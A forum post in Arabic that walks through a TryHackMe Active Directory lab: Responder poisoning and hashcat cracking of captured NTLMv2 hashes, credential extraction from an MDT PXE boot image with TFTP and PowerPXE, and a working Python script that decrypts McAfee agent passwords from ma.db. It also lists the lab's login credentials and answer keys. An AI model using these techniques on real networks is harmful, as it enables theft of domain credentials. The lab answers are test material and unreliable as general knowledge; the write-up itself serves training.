تم تثبيت اداه الـ Responder بالفعل على الـ AttackBox إذا كنت ما بتستخدم الـ AttackBox بتقدر تحملها وتثبتها من هاد الرابط : Responder GitHub
بنشغل الـ Responder على الواجهة المتصلة بالـ VPN :
كود:
sudo responder -I breachad
إذا كنت بتستخدم الـ AttackBox مش كل خدمات الـ Responder بتشتغل لأنه خدمات أخرى ممكن تستخدم نفس المنافذ لكن هاد ما رح يأثر على هاي المهمة
الـ Responder بتستمع لأي طلبات LLMNR أو NBT-NS أو WPAD اللي بتيجي بنترك الـ Responder تشتغل لفترة على الـ LAN الحقيقية بحالتنا راح نحاكي التسميم عن طريق جعل أحد الخوادم يحاول المصادقة على أجهزة الـ VPN
بنترك الـ Responder تعمل شوية (حوالي 10 دقائق ممكن تأخذ استراحة ! ) وراح تستقبل اتصال SMBv2 اللي Responder بتستخدمه لجذب واستخراج استجابة الـ NTLMv2-SSP
بظهر اشي مثل هاد :
كود:
[+] Listening for events...
[SMBv2] NTLMv2-SSP Client : <Client IP>
[SMBv2] NTLMv2-SSP Username : ZA\<Service Account Username>
[SMBv2] NTLMv2-SSP Hash : <Service Account Username>::ZA:<NTLMv2-SSP Hash>
إذا كنا بنستخدم جهازنا بنشغل الـ Responder لفترة أطول وبنجمع response بعد ما نجمع عدد كافي بنبدأ بتحليل الـ response عشان نتوقع كلمات المرور اللي مرتبطة فيها
قائمة كلمات المرور بتنزلها من هون
كود:
hashcat -m 5600 <hash file> <password file> --force
ملف كلمات المرور متاح لك على AttackBox في المكان هاد /root/Rooms/BreachingAD/task5/ بنستخدم نوع الهاش 5600 اللي بتوافق مع NTLMv2-SSP بـ Hashcat
relay attack
نقل الـ Challenge
ببعض الأحيان ممكن نأخذ الأمر خطوة أبعد بمحاولة نقل الـ Challenge بدال ما نعترضه مباشرة هاد أصعب شوي بدون معرفة مسبقة بالحسابات
لأن الهجوم هاد بعتمد على أذونات الحساب المرتبط بنحتاج لبعض الشروط عشان يكون الموضوع لصالحنا :
1. لازم يكون الـ SMB Signing إما معطل أو مفعل ولكن غير مفروض لانه لما نيجي نعمل نقل بنعمل تغييرات بسيطه بالطلب عشان ننقله إذا كان الـ SMB Signing مفعل ما بنقدر نزيف الـ signature يعني السيرفر راح يرفضها
2. لازم يكون للحساب اللي مرتبط أذونات اللي بتلزمه على السيرفر عشان يوصل للموارد المطلوبة
3. بما أننا تقنيًا ما عننا اي دخول بالـ Active Directory بتطلب الموضوع تخمين عن الحسابات اللي بتمتلك أذونات على الأجهزة , لكن إذا اخترقنا الـ Active Directory بالفعل بنعمل عملية الـ enumeration
عشان هيك الـ blind relays مش شائع دائما أفضل أولاً اختراق الـ Active Directory باستخدام طريقة ثانيه بعدها بنجري enumeration عشان نحدد الامتيازات المرتبطة بالحساب اللي اخترقته , من هون بإمكانك عاده إجراء حركة عشان ترفع صلاحياتك عبر الـ domain
ومع هيك لازم يكون عندك فهم أساسي عن كيفيه عمل الهجوم relay attack كما هو موضح بالرسم البياني :

إذا بدك تجرب هاد النوع من الهجمات بالواقع شوف الروم Holo وراح نحكي عنها بالبارتات التاليه ان شاء الله
What is the name of the tool we can use to poison and capture authentication requests on the network?
Responder
What is the username associated with the challenge that was captured?
svcFileCopy
What is the value of the cracked password associated with the challenge that was captured?
FPassword1!
الـ Microsoft Deployment Toolkit
أدوات نشر مايكروسوفت
الشركات الكبيرة بتحتاج أدوات لإدارة البنية التحتية ما بنفع موظفين الـ IT يروحو ويثبتو برامج على كل الاجهزه باستخدام أقراص الـ DVD أو حتى USB
مايكروسوفت عندها أدوات لإدارة هاي الأمور لكن بنقدر نستغل بعض الأخطاء بهاي الأدوات لاختراق الـ Active Directory
الـ MDT و SCCM
الـ Microsoft Deployment Toolkit هي خدمة من مايكروسوفت بتساعد بنشر أنظمة التشغيل اللي من مايكروسوفت
الشركات الكبيرة بتستخدم خدمات مثل الـ MDT لتوزيع الأنظمة بشكل أسرع لأنه بتقدر تحتفظ فيها وتحدثها بمكان مركزي
عادةً يتم دمج الـ MDT مع System Center Configuration Manager من مايكروسوفت اللي بدير كل التحديثات لكل التطبيقات والخدمات وأنظمة التشغيل من مايكروسوفت
الـ MDT يستخدم للـ deployments بخلي فريق الـ IT يجهز ويعدل الـ boot images بسهولة يعني لو بدهم يجهزو جهاز جديد بس بوصلو كابل الشبكة وكل اشيء بصير تلقائيً بقدرو يثبتو برامج مثل Office365 و مكافحة الفيروسات الخاصة بالشركة بالـ boot images وبضمن أنه التنزيل يكون محدث من أول تشغيل
الـ SCCM يعتبر توسعة وأخ أكبر للـ MDT
بيجي على بالنا سؤال شو بصير للبرامج بعد ما تتثبت؟
الـ SCCM بعمل التحديثات للبرامج المثبتة بالبنية التحتية , بخلي فريق الـ IT يراجع التحديثات ويختبرها ببيئة تجريبية قبل ما يثبتوها على كل الأجهزة المرتبطة بالدومين هاد الموضوع هاد بسهل حياة فريق الـ IT بشكل كبير
لكن أي اشي بوفر إدارة مركزية للبنية التحتية مثل MDT و SCCM ممكن يكون هدف للهجمات من المخترقين عشان يسيطرو على الوظائف الحيوية بالبنية التحتية مع أنه الـ MDT ممكن ينظبط بطرق مختلفة هون بنركز على طريقة الـ Preboot Execution Environment (PXE) للـ boot
الـ PXE Boot
الشركات الكبيرة بتستخدم الـ PXE Boot عشان تسمح للأجهزة الجديدة المتصلة بالشبكة تحمل وتثبت النظام مباشرة عن طريق الشبكة , الـ MDT يستخدم لإنشاء وإدارة واستضافة صور PXE Boot
الـ PXE Boot بتكامل عادة مع الـ DHCP يعني إذا الـ DHCP بعطي الجهاز عنوان IP الجهاز بقدر يطلب صورة PXE Boot ويبدأ عملية التثبيت عبر الشبكة
بعد ما تبدأ العملية الجهاز بستخدم اتصال TFTP لتحميل صورة الـ PXE Boot

بنقدر نستغل الـ PXE Boot بطريقتين :
- ممكن نضيف حساب Local Administrator داخل صورة الـ PXE Boot يعني بعد ما يكتمل تحميل وتشغيل النظام الحساب هاد بكون موجود بالجهاز
- بنقدر نسحب كلمات المرور لاستخراج Active Directory credentials المستخدمة أثناء التثبيت
استخراج صورة الـ PXE Boot
بما أن الـ DHCP مزعج شوي راح نتخطى جزء طلب عنوان الـ IP وتفاصيل الـ PXE Boot من DHCP بنمل باقي الهجوم يدوي من هاي الخطوة
أول معلومة بتحتاجها من الـ DHCP هي IP سيرفر الـ MDT بتقدر تستخرجها من مخطط الشبكة للتحدي TryHackMe
ثاني معلومة هي أسماء ملفات الـ BCD هاي الملفات بتخزن معلومات الـ PXE Boot لأنواع architecture مختلفة
عشان نستخرج هاي المعلومات بنفوت على موقع pxeboot.za.tryhackme.com بنلاقي عدة ملفات BCD
عادة بنستخدم الـ TFTP لطلب كل ملفات الـ BCD وتعداد تكوينها
لكن عشان نختصر وقت بنركز على ملف الـ BCD للهندسة x64
بننسخ الاسم وبنخزنه عننا , خلينا نسميه الـ placeholder
كود:
x64{841DFEEF-A140-4431-A20E-F16A499C73A4}.bcd
الملفات وأسمائها بتجدد يوميًا بالـ MDT
كل مرة بتشوف هاد الـ placeholder تذكر تستبدله باسم ملف الـ BCD الخاص فيك بالتحدي لاحظ كمان إذا الشبكة هسا بدأت أسماء الملفات بتتجدد بعد 10 دقائق من نشاط الشبكة
الآن بعد ما عرفنا المعلومات الأولية من الـ DHCP بنقدر نعد ونسترجع صورة الـ PXE Boot
بنستخدم اتصال SSH على THMJMP1 للخطوات القادمة بنسجل دخول لهاد الاتصال باستخدام :
ssh [email protected]
الـ Password هي : Password1@
لبدء الجميع بالشبكة باستخدام SSH
بننشئ مجلد وبندخل عليه وبننسخ مستودع powerpxe للمجلد عن طريق امر :
كود:
copy c:\powerpxe\* .
الخطوة الأولى هي نستخدم الـ TFTP لتحميل ملف الـ BCD وقراءة تكوين سيرفر الـ MDT , الـ TFTP أصعب شوي من الـ FTP لأنه ما بنقدر ندرج الملفات , بدال ما نعمل هيك بنقدر نرسل طلب ملف والسيرفر بتصل علينا عن طريق الـ UDP لنقل الملف ولازم نكون دقيقين لما نحدد الملفات والمسارات
ملفات الـ BCD دائمًا بتكون بمجلد الـ Tmp على سيرفر الـ MDT
بنقدر نبدأ نقل عن طريق بروتوكول الـ TFTP باستخدام الأمر التالي :
كود:
tftp -i <THMMDT IP> GET "\Tmp\x64{39...28}.bcd" conf.bcd
عشان نعرف الـ IP الخاص بـ THMMDT بنستخدم امر nslookup thmmdt.za.tryhackme.com او من الخريطه للشبكه اللي معنا بالتحدي
بعد ما نسترجع ملف الـ BCD بنستخدم الـ powerpxe لقراءة محتوياته
الـ powerpxe هو سكريبت PowerShell بعمل هاد النوع هجمات تلقائيه لكن عادة بنتائج متفاوتة عشان هيك افضل نعملها يدوي , بنستخدم دالة Get-WimFile من powerpxe لاسترجاع مواقع الـ PXE Boot من ملف الـ BCD عن طريق الاوامر :
كود:
powershell -executionpolicy bypass
Import-Module .\PowerPXE.ps1
$BCDFile = "conf.bcd"
Get-WimFile -bcdFile $BCDFile
سبب استخدامنا لدالة Get-WimFile
ملفات الـ Wim هي Image قابلة للإقلاع بتنسيق Windows Imaging Format (WIM)
الآن بعد ما حصلنا على موقع الـ PXE Boot بنقدر مرة ثانية نستخدم الـ TFTP لتحميل الـ Image عن طريق الامر :
كود:
tftp -i <THMMDT IP> GET "<PXE Boot Image Location>" pxeboot.wim
هاد التحميل باخذ وقت لأنه بنحمل صورة ويندوز قابلة للإقلاع وكاملة ممكن تستغل الوقت وتاخذ استراحة.
استخراج بيانات الاعتماد من صورة PXE Boot
الآن بعد ما استرجعنا الـ PXE Boot بنقدر نستخرج بيانات الاعتماد المخزنة ( الـ credentials )
وفي هجمات كثيرة بنقدر ننفذها بنقدر نضيف مستخدم local administrator عشان نحصل على وصول إداري بعد ما الـ Image تشتغل أو نثبت الـ Image عشان يكون عننا جهاز مرتبط بالدومين
لو مهتم تعرف أكثر عن هاي الهجمات بتقدر تشوف هاد المقال article هاد التمرين بركز على هجوم بسيط لاستخراج الـ credentials
مرة ثانية بنستخدم الـ powerpxe عشان نستخرج الـ credentials لكن بتقدر تعملها يدويًا عن طريق استخراج الـ Image والبحث عن ملف الـ bootstrap.ini حيث عادةً تُخزن هاي البيانات
لاستخدام powerpxe لاستخراج بيانات الاعتماد من ملف bootstrap بنستخدم الامر التالي :
كود:
Get-FindCredentials -WimFile pxeboot.wim
بنخليه يحمل شوي لثواني
وهيك صار عنا المعلومات
هيك بنكون استخرجنا Active Directory credentials وبنقدر نستخدمها طبعا!
ما هي أداة Microsoft المستخدمة لإنشاء واستضافة صور PXE Boot في المؤسسات؟
Microsoft Deployment Toolkit
ما هو بروتوكول الشبكة المستخدم لاستعادة الملفات من خادم MDT ؟
TFTP
ما هو اسم المستخدم المرتبط بالحساب الذي تم تخزينه في صورة تمهيد PXE ؟
svcMDT
ما هي كلمة المرور المرتبطة بالحساب الذي تم تخزينه في صورة تمهيد PXE ؟
PXEBootSecure1@
الـ Configuration Files
آخر اشي راح احكي عنو في هاد الموضوع هو ملفات التكوين
خلينا نفترض أنك كنت محظوظ وتتسببت بخرق او وصلتك معلومه سمحتلك توصل إلى مضيف على شبكة المنظمة. في هذه الحالة، فإن
ملفات التكوين هي طريق ممتاز لاستكشافه ومحاولة استعادة Active Directory credentials بناءً على الـ host اللي تم اختراقه ممكن تكون ملفات التكوين مختلفة والها قيمة للـ enumeration :
- ملفات تكوين تطبيقات الويب
- ملفات تكوين الخدمات
- مفاتيح السجل (Registry keys)
- التطبيقات المنتشرة مركزيًا
ملفات التكوين الـ credentials
راح نركز على استعادة الـ credentials من النقطة الرابعة اللي ذكرناها فوقعادةً بتحتاج التطبيقات هاي لطريقة للمصادقة على الـ domain خلال المرحلتين التثبيت والتنفيذ
مثال على هاي التطبيقات هو McAfee Enterprise Endpoint Security اللي ممكن تستخدمه المؤسسات كأداة للكشف والاستجابة للأمان على النقاط النهائية ( endpoint detection )
الـ McAfee بضمن الـ credentials المستخدمة أثناء التثبيت للاتصال بالـ orchestrator بملف يسمى ma.db
بإمكاننا نسترد ملف قاعده البيانات هاد وقراءته من خلال local access للـ host لاستعادة حساب Active Directory service
بنستخدم الـ SSH على THMJMP1 مرة ثانيه لهاد التحدي
ssh [email protected]
الـ Password هي : Password1@
يتم تخزين ملف ma.db في موقع ثابت :
كود:
C:\ProgramData\McAfee\Agent\DB
بإمكاننا نستخدم الامر عشان ننسخ الملف على جهازنا عن طريق الامر :
كود:
scp [email protected]:C:/ProgramData/McAfee/Agent/DB/ma.db .
بعدها عشان نقرأ ملف قاعدة البيانات بنستخدم اداه sqlitebrowser باستخدام الأمر :
كود:
sqlitebrowser ma.db
كود:
sqlitebrowser ma.db
بنختار خيار Browse Data وبنركز على جدول AGENT_REPOSITORIES :
جدول الـ AGENT_REPOSITORIES
بنركز على السطر الثاني وبنخزن بعض المعلومات المهمه زي DOMAIN و AUTH_USER و AUTH_PASSWD وزي ما هو ظاهر يتم تشفير حقل الـ AUTH_PASSWDلحسن الحظ بتشفر الـ McAfee كلمات المرور بمفتاح معروف وهيك بنستخدم سكربت الخاص بـ Python2 لفك تشفير كلمة المرور
هاد هو رابط السكريبت
اذا كنت بتشتغل على AttackBox بتلاقي السكريبت بهاد المسار /root/Rooms/BreachingAD/task7/
ملاحظة:
الأداة اللي بنستخدمها قديمة بتستخدم Python v2 وبتعتمد على مكتبة تشفير قديمةف هاد هو السكريبت مع تعديل حتى يشتغل بدون اي مشاكل
كود:
import base64
from Crypto.Cipher import DES3
from Crypto.Hash import SHA1
KEY = bytes.fromhex("12150F10111C1A060A1F1B1817160519")
def sitelist_xor(xs):
return bytes([c ^ KEY[i % 16] for i, c in enumerate(xs)])
def des3_ecb_decrypt(data):
sha1_key = SHA1.new(b'<!@#$%^>').digest() + b"\x00\x00\x00\x00"
des3 = DES3.new(sha1_key, DES3.MODE_ECB)
decrypted = des3.decrypt(data)
return decrypted.split(b'\x00', 1)[0] or b"<empty>"
if __name__ == "__main__":
import sys
if len(sys.argv) != 2:
print("Usage: %s <base64 passwd>" % sys.argv[0])
print("Example: %s 'jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q=='" % sys.argv[0])
sys.exit(0)
encrypted_password = base64.b64decode(sys.argv[1])
xor_decrypted = sitelist_xor(encrypted_password)
password = des3_ecb_decrypt(xor_decrypted)
print("Crypted password : %s" % sys.argv[1])
print("Decrypted password : %s" % password.decode())
sys.exit(0)
الآن عندنا مجموعة من الـ Active Directory credentials بإمكاننا نستخدمها لمزيد من الـ enumeration
هاد مثال على استعاده credentials من ملفات التكوين ...
ما نوع الملفات التي تحتوي غالبًا على بيانات الاعتماد المخزنة على الأجهزة المضيفة؟
Configuration Files
ما اسم قاعدة بيانات McAfee التي تخزن التكوين بما في ذلك بيانات الاعتماد المستخدمة للاتصال بالـ orchestrator ؟
ma.db
ما الجدول في قاعدة البيانات هذه الذي يخزن بيانات اعتماد الـ orchestrator ؟
AGENT_REPOSITORIES
ما هو اسم المستخدم لحساب AD المرتبط بخدمة McAfee؟
svcAV
ما هي كلمة المرور لحساب AD المرتبط بخدمة McAfee؟
MyStrongPassword!
المرفقات
-
1719916646899.webp51.9 KB · المشاهدات: 153
-
1720002550085.webp6.3 KB · المشاهدات: 144
-
1720002600278.webp5.7 KB · المشاهدات: 144
-
1720039092648.webp34.2 KB · المشاهدات: 141
-
1720039124383.webp25.9 KB · المشاهدات: 147
-
1720039193414.webp38.8 KB · المشاهدات: 142
-
1720039536268.webp83.7 KB · المشاهدات: 861
-
1720040002410.webp15 KB · المشاهدات: 145
-
passwordsprayer-1647011410194.zip1.4 KB · المشاهدات: 2,065
-
1721333777393.webp96.3 KB · المشاهدات: 148
-
1721803785937.webp6.5 KB · المشاهدات: 147
-
mcafee-sitelist-pwd-decryption-1649686607913.zip1.9 KB · المشاهدات: 1,698
التعديل الأخير بواسطة المشرف: